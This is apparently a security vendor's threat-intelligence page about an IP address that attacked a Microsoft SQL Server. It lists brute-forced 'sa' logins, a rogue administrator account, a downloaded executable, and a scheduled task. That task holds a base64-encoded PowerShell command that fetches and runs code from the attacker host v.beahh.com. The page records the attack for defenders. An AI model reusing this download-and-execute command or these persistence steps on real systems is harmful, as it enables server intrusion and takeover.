IP Address: 190.198.87.54Malicious

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IP Address:
190.198.87.54​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

DNS Query User Created PowerShell File Operation By CMD CMD SMB Download File MSSQL Brute Force Access Suspicious Domain Successful SMB Login Scheduled Task Creation Listening SMB Share Connect MSSQL Successful MSSQL Login User Added to Group IDS - Attempted User Privilege Gain Execute MsSql Shell Command

Connect Back Servers

v.beahh.com

Basic Information

IP Address

190.198.87.54

Domain

-

ISP

-

Country

Venezuela, Bolivarian Republic of

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-10-30

Last seen in Guardicore Centra

2019-10-30

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

Successful SMB Login User Added to Group User Created

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password

Successful SMB Login

C:\Windows\PZMuQdwN.exe was downloaded

Download File

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

DNS Query Access Suspicious Domain

Connection was closed due to timeout

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IP Address: 190.198.87.54​Malicious